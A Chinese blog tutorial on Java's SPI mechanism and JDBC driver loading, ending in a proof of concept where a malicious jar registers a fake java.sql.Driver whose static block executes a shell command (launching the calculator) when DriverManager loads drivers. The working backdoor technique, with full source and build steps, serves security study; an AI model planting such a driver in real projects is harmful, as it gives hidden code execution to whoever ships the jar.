【Web】浅浅地聊JDBC java.sql.Driver的SPI后门-编程知识

SPI定义

SPI核心方法和类

最简单的SPIdemo演示

回顾JCBC基本流程

为什么JDBC要有SPI

JDBC java.sql.Driver后门利用与验证

SPI定义

SPI： Service Provider Interface
官方定义：直译过来是服务提供者接口，学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名，以实现类全限定名为文件内容的文件)，并自动加载文件里所定义的类

1.SPI机制能够使接口与具体的实现类解耦，可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想

SPI核心方法和类

Java SPI（Service Provider Interface）机制主要涉及以下几个核心方法和类：

① java.util.ServiceLoader：ServiceLoader 类是 Java SPI 机制的核心类，用于加载和管理服务提供者。它包含以下常用方法：
load(Class<S> service)：静态方法，用于加载实现了指定接口的服务提供者。
iterator()：返回一个迭代器，用于遍历加载的服务提供者实例。

② java.util.Iterator：Iterator 接口用于遍历集合中的元素，ServiceLoader 返回的迭代器实现了这个接口，常用方法包括：
hasNext()：判断是否还有下一个元素。
next()：返回下一个元素。

③ java.util.spi 包：这个包中包含了一些 SPI 相关的类，例如：
AbstractProvider：用于创建服务提供者的抽象类。
ResourceBundleControlProvider：用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录：在类路径下的 META-INF/services/ 目录中，通常会创建以接口全限定名命名的配置文件，用于指定实现了接口的服务提供者类。

最简单的SPIdemo演示

项目目录：

META-INF/services/com.spi.SpiService

com.spi.SPI_1
com.spi.SPI_2

SpiService

package com.spi;public interface SpiService {public void run();
}

SPI_1

package com.spi;public class SPI_1 implements SpiService {@Overridepublic void run() {System.out.println("SPI_1 is running...");}
}

SPI_2

package com.spi;public class SPI_2 implements SpiService {@Overridepublic void run() {System.out.println("SPI_2 is running...");}
}

SpiTest

package com.spi;import java.util.ServiceLoader;public class SpiTest {public static void main(String[] args) {ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);for (SpiService spiService : serviceLoader) {spiService.run();}}
}

运行演示

回顾JCBC基本流程

1.加载数据库驱动程序：
首先，需要加载数据库厂商提供的 JDBC 驱动程序，以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象：
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里，url 是数据库的地址、端口等连接信息，username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象：
通过 Connection.createStatement() 方法创建一个 Statement 对象，用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句：
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句，或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集：
如果执行的是 SELECT 查询语句，会返回一个 ResultSet 对象，其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集，并通过 ResultSet.getXXX() 方法获取具体的字段值。

为什么JDBC要有SPI

以前我们使用JDBC访问Mysql数据库的时候，都会执行Class.forName("com.mysql.cj.jdbc.Driver")，这样就会实例化驱动类，同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver())，将驱动类注册到Drivermanager中

但是将驱动类的全路径名称写到代码中，非常不方便。如果将类的全路径名写到配置文件中，虽然方便，但是还需要我们去记驱动类的全路径名

使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件，Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了，而且Mysql驱动提供方能很方便的进行驱动的升级

JDBC java.sql.Driver后门利用与验证

数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver 文件中指定实现了 java.sql.Driver 接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类，无需显式地调用 Class.forName 来加载驱动程序，从而实现了自动注册数据库驱动程序的功能。

这也为我们留下了后门，我们可以创建一个自己的恶意jar包传给JDBC，从而导致恶意类的加载，静态代码块的执行，开始复现！

先生成恶意的jar包

创建项目结构如下

META-INF/services/java.sql.Driver

evil.MySQLDriver

MySQLDriver.java

package evil;import java.sql.*;
import java.util.*;
import java.util.logging.*;public class MySQLDriver implements java.sql.Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "open -a calculator";protected static  String shell;protected static  String args;protected static  String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}

依次运行下列代码

javac src/evil/MySQLDriver.javajar -cvf evil.jar -C src/ .

在项目目录得到evil.jar这个恶意jar包

然后在JDBC的项目中引入恶意jar包

package com.spi;import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;public class Jdbc_Demo {public static void main(String[] args) throws Exception {// 注册驱动（可以删去）
//        Class.forName("java.sql.Driver");// 获取数据库连接对象Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");//  定义sql语句String sql = "select * from users";// 获取执行sql的对象StatementStatement stmt = con.createStatement();// 执行sqlResultSet res = stmt.executeQuery(sql);// 处理对象while(res.next()) {System.out.println(res.getString("username"));}// 释放资源res.close();stmt.close();con.close();}
}

运行这段代码便可弹出计算器。

为了验证我们真的导入了恶意类作为jdbc的驱动，我们可以继续运行下面这段代码

package com.spi;import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;public class JdbcDriverList {public static void main(String[] args) {ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {Driver driver = iterator.next();System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());}}
}

结果如下，可见我们确实利用driver后门完成了一次偷梁换柱的利用